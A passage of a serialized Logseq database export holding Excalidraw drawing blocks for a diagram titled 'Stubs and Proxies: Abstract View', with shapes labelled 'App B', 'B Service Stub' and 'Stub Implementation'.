file.\\n#+END_IMPORTANTlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[317,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[317,logseq____&quot;^Flogseq____&quot;,316,536870916]],[logseq____&quot;^15logseq____&quot;,[317,logseq____&quot;^Xlogseq____&quot;,314,536870916]],[logseq____&quot;^15logseq____&quot;,[317,logseq____&quot;^Vlogseq____&quot;,314,536870916]],[logseq____&quot;^15logseq____&quot;,[317,logseq____&quot;^Ulogseq____&quot;,314,536870916]],[logseq____&quot;^15logseq____&quot;,[317,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-a0ab-4b4a-bc69-99db7954faf9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[318,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;{{renderer excalidraw-menu, excalidraw-2024-10-22-15-58-29}}logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[318,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[318,logseq____&quot;^Flogseq____&quot;,317,536870916]],[logseq____&quot;^15logseq____&quot;,[318,logseq____&quot;^Slogseq____&quot;,320,536870916]],[logseq____&quot;^15logseq____&quot;,[318,logseq____&quot;^Xlogseq____&quot;,314,536870916]],[logseq____&quot;^15logseq____&quot;,[318,logseq____&quot;^Vlogseq____&quot;,314,536870916]],[logseq____&quot;^15logseq____&quot;,[318,logseq____&quot;^Ulogseq____&quot;,314,536870916]],[logseq____&quot;^15logseq____&quot;,[318,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-e493-4fdc-8e45-da8a47870f7flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[319,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```json\\n{\\logseq____&quot;elements\\logseq____&quot;:[],\\logseq____&quot;files\\logseq____&quot;:null}\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[319,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[319,logseq____&quot;^Flogseq____&quot;,318,536870916]],[logseq____&quot;^15logseq____&quot;,[319,logseq____&quot;^Xlogseq____&quot;,314,536870916]],[logseq____&quot;^15logseq____&quot;,[319,logseq____&quot;^Vlogseq____&quot;,314,536870916]],[logseq____&quot;^15logseq____&quot;,[319,logseq____&quot;^Ulogseq____&quot;,314,536870916]],[logseq____&quot;^15logseq____&quot;,[319,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-d4e0-4f2d-a9af-8b5b3e35c969logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[320,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^1:logseq____&quot;,logseq____&quot;rendererlogseq____&quot;,logseq____&quot;^1;logseq____&quot;,[logseq____&quot;excalidraw-menulogseq____&quot;,logseq____&quot;excalidraw-2024-10-22-15-58-29logseq____&quot;]],536870916]],[logseq____&quot;^15logseq____&quot;,[320,logseq____&quot;^Wlogseq____&quot;,logseq____&quot;macrologseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[320,logseq____&quot;^Tlogseq____&quot;,logseq____&quot;renderer excalidraw-menu excalidraw-2024-10-22-15-58-29logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[322,logseq____&quot;^Klogseq____&quot;,1740128172104,536870916]],[logseq____&quot;^15logseq____&quot;,[322,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[322,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;excalidraw-2024-10-22-15-59-19logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[322,logseq____&quot;^11logseq____&quot;,logseq____&quot;excalidraw-2024-10-22-15-59-19logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[322,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^1logseq____&lt;logseq____&quot;,true,logseq____&quot;~:excalidraw-plugin-aliaslogseq____&quot;,logseq____&quot;Stubs and Proxies: Abstract Viewlogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[322,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^1logseq____&lt;logseq____&quot;,logseq____&quot;truelogseq____&quot;,logseq____&quot;^1?logseq____&quot;,logseq____&quot;Stubs and Proxies: Abstract Viewlogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[322,logseq____&quot;^Blogseq____&quot;,1740128172104,536870916]],[logseq____&quot;^15logseq____&quot;,[322,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-85c1-41bf-961d-33bb48aeacdclogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[323,logseq____&quot;^Klogseq____&quot;,1740128172104,536870916]],[logseq____&quot;^15logseq____&quot;,[323,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[323,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;excalidraw-plugin-aliaslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[323,logseq____&quot;^11logseq____&quot;,logseq____&quot;excalidraw-plugin-aliaslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[323,logseq____&quot;^Blogseq____&quot;,1740128172104,536870916]],[logseq____&quot;^15logseq____&quot;,[323,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5621-45b0-9093-6dfbd9bf11f3logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[324,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;excalidraw-plugin:: true\\nexcalidraw-plugin-alias:: Stubs and Proxies: Abstract View\\n\\nlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[324,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[324,logseq____&quot;^1=logseq____&quot;,[logseq____&quot;^1logseq____&gt;logseq____&quot;,[]],536870916]],[logseq____&quot;^15logseq____&quot;,[324,logseq____&quot;^Flogseq____&quot;,322,536870916]],[logseq____&quot;^15logseq____&quot;,[324,logseq____&quot;^Xlogseq____&quot;,322,536870916]],[logseq____&quot;^15logseq____&quot;,[324,logseq____&quot;^Vlogseq____&quot;,322,536870916]],[logseq____&quot;^15logseq____&quot;,[324,logseq____&quot;^Ulogseq____&quot;,315,536870916]],[logseq____&quot;^15logseq____&quot;,[324,logseq____&quot;^Ulogseq____&quot;,322,536870916]],[logseq____&quot;^15logseq____&quot;,[324,logseq____&quot;^Ulogseq____&quot;,323,536870916]],[logseq____&quot;^15logseq____&quot;,[324,logseq____&quot;^:logseq____&quot;,true,536870916]],[logseq____&quot;^15logseq____&quot;,[324,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^1logseq____&lt;logseq____&quot;,true,logseq____&quot;^1?logseq____&quot;,logseq____&quot;Stubs and Proxies: Abstract Viewlogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[324,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^1logseq____&lt;logseq____&quot;,logseq____&quot;^1?logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[324,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^1logseq____&lt;logseq____&quot;,logseq____&quot;truelogseq____&quot;,logseq____&quot;^1?logseq____&quot;,logseq____&quot;Stubs and Proxies: Abstract Viewlogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[324,logseq____&quot;^Hlogseq____&quot;,315,536870916]],[logseq____&quot;^15logseq____&quot;,[324,logseq____&quot;^Hlogseq____&quot;,323,536870916]],[logseq____&quot;^15logseq____&quot;,[324,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-4977-4228-8398-c925f6e8bc19logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[325,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;#+BEGIN_IMPORTANT\\nThis file is used to store excalidraw information, Please do not manually edit this file.\\n#+END_IMPORTANTlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[325,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[325,logseq____&quot;^Flogseq____&quot;,324,536870916]],[logseq____&quot;^15logseq____&quot;,[325,logseq____&quot;^Xlogseq____&quot;,322,536870916]],[logseq____&quot;^15logseq____&quot;,[325,logseq____&quot;^Vlogseq____&quot;,322,536870916]],[logseq____&quot;^15logseq____&quot;,[325,logseq____&quot;^Ulogseq____&quot;,322,536870916]],[logseq____&quot;^15logseq____&quot;,[325,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-83bc-4ff6-b114-3c06e7cacba9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[326,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;{{renderer excalidraw-menu, excalidraw-2024-10-22-15-59-19}}logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[326,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[326,logseq____&quot;^Flogseq____&quot;,325,536870916]],[logseq____&quot;^15logseq____&quot;,[326,logseq____&quot;^Slogseq____&quot;,328,536870916]],[logseq____&quot;^15logseq____&quot;,[326,logseq____&quot;^Xlogseq____&quot;,322,536870916]],[logseq____&quot;^15logseq____&quot;,[326,logseq____&quot;^Vlogseq____&quot;,322,536870916]],[logseq____&quot;^15logseq____&quot;,[326,logseq____&quot;^Ulogseq____&quot;,322,536870916]],[logseq____&quot;^15logseq____&quot;,[326,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-c7a3-47df-94ff-43cb28020f95logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[327,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```json\\n{\\logseq____&quot;elements\\logseq____&quot;:[{\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;ZAve3TnKhR_PnXRpgKRpS\\logseq____&quot;,\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;x\\logseq____&quot;:1050,\\logseq____&quot;y\\logseq____&quot;:820,\\logseq____&quot;width\\logseq____&quot;:9.999984741210938,\\logseq____&quot;height\\logseq____&quot;:25,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;groupIds\\logseq____&quot;:[],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;seed\\logseq____&quot;:1784662948,\\logseq____&quot;version\\logseq____&quot;:2,\\logseq____&quot;versionNonce\\logseq____&quot;:1570159900,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;boundElements\\logseq____&quot;:null,\\logseq____&quot;updated\\logseq____&quot;:1729605568679,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;\\logseq____&quot;,\\logseq____&quot;fontSize\\logseq____&quot;:20,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;left\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;top\\logseq____&quot;,\\logseq____&quot;baseline\\logseq____&quot;:18,\\logseq____&quot;containerId\\logseq____&quot;:null,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:4,\\logseq____&quot;versionNonce\\logseq____&quot;:1067554972,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;btJXfo0TRR98jfZP463tV\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:1014.3203125,\\logseq____&quot;y\\logseq____&quot;:622.25,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:540.65625,\\logseq____&quot;height\\logseq____&quot;:122.5,\\logseq____&quot;seed\\logseq____&quot;:143039908,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;UBntVcr7ghicg01LAeyCI\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;boundElements\\logseq____&quot;:[{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;KqdUt_NV4p0X2G2Edvpqf\\logseq____&quot;}],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:5,\\logseq____&quot;versionNonce\\logseq____&quot;:167565476,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;KqdUt_NV4p0X2G2Edvpqf\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:1255.9584655761719,\\logseq____&quot;y\\logseq____&quot;:627.25,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:57.37994384765625,\\logseq____&quot;height\\logseq____&quot;:25,\\logseq____&quot;seed\\logseq____&quot;:1360063524,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;UBntVcr7ghicg01LAeyCI\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:20,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;App B\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;top\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;btJXfo0TRR98jfZP463tV\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;App B\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:18},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:7,\\logseq____&quot;versionNonce\\logseq____&quot;:653111836,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;cYBC0eZBIJWdPBm0_KEwZ\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:1039.3203125,\\logseq____&quot;y\\logseq____&quot;:657.25,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:196.359375,\\logseq____&quot;height\\logseq____&quot;:52.5,\\logseq____&quot;seed\\logseq____&quot;:721131300,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;UBntVcr7ghicg01LAeyCI\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:6,\\logseq____&quot;versionNonce\\logseq____&quot;:1301482916,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;tJhB-_svD8ZLmJLYeRTY2\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:1285.6796875,\\logseq____&quot;y\\logseq____&quot;:657.25,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:244.296875,\\logseq____&quot;height\\logseq____&quot;:52.5,\\logseq____&quot;seed\\logseq____&quot;:491066020,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;UBntVcr7ghicg01LAeyCI\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:6,\\logseq____&quot;versionNonce\\logseq____&quot;:166881948,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;r9aVw_4wxptDxNyCdEH4k\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:1236.6794375,\\logseq____&quot;y\\logseq____&quot;:684,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:49.5,\\logseq____&quot;height\\logseq____&quot;:0.5,\\logseq____&quot;seed\\logseq____&quot;:731101604,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;UBntVcr7ghicg01LAeyCI\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;startBinding\\logseq____&quot;:{\\logseq____&quot;elementId\\logseq____&quot;:\\logseq____&quot;cYBC0eZBIJWdPBm0_KEwZ\\logseq____&quot;,\\logseq____&quot;focus\\logseq____&quot;:0.0889748599095972,\\logseq____&quot;gap\\logseq____&quot;:1},\\logseq____&quot;endBinding\\logseq____&quot;:{\\logseq____&quot;elementId\\logseq____&quot;:\\logseq____&quot;tJhB-_svD8ZLmJLYeRTY2\\logseq____&quot;,\\logseq____&quot;focus\\logseq____&quot;:0,\\logseq____&quot;gap\\logseq____&quot;:1},\\logseq____&quot;lastCommittedPoint\\logseq____&quot;:null,\\logseq____&quot;startArrowhead\\logseq____&quot;:null,\\logseq____&quot;endArrowhead\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;,\\logseq____&quot;points\\logseq____&quot;:[[0,0],[24,-0.5],[48.5,-0.5]]},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:5,\\logseq____&quot;versionNonce\\logseq____&quot;:608844956,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;EB3NLgvBqjJRHyFoMtRDQ\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:1063.980079650879,\\logseq____&quot;y\\logseq____&quot;:671,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:147.0398406982422,\\logseq____&quot;height\\logseq____&quot;:25,\\logseq____&quot;seed\\logseq____&quot;:1522849188,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;UBntVcr7ghicg01LAeyCI\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:20,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;B Service Stub\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;middle\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;cYBC0eZBIJWdPBm0_KEwZ\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;B Service Stub\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:18},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:5,\\logseq____&quot;versionNonce\\logseq____&quot;:1241148196,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;lIaAd8t2BtSaS3-tilTkx\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:1308.688232421875,\\logseq____&quot;y\\logseq____&quot;:671,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:198.27978515625,\\logseq____&quot;height\\logseq____&quot;:25,\\logseq____&quot;seed\\logseq____&quot;:778207524,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;UBntVcr7ghicg01LAeyCI\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:20,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;Stub Implementation\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;middle\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;tJhB-_svD8ZLmJLYeRTY2\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;Stub Implementation\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:18},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:4,\\logseq____&quot;versionNonce\\logseq____&quot;:928436004,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;OpcNb1gD7e-Kh8XWI9wfk\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:150.0234375,\\logseq____&quot;y\\logseq____&quot;:603.5,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:516.96875,\\logseq____&quot;height\\logseq____&quot;:160,\\logseq____&quot;seed\\logseq____&quot;:1353402660,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;iF72X4icOLoOCZXhi6J4q\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;boundElements\\logseq____&quot;:[{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;aolhESiOHXi9Lwz4CbwEB\\logseq____&quot;}],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq__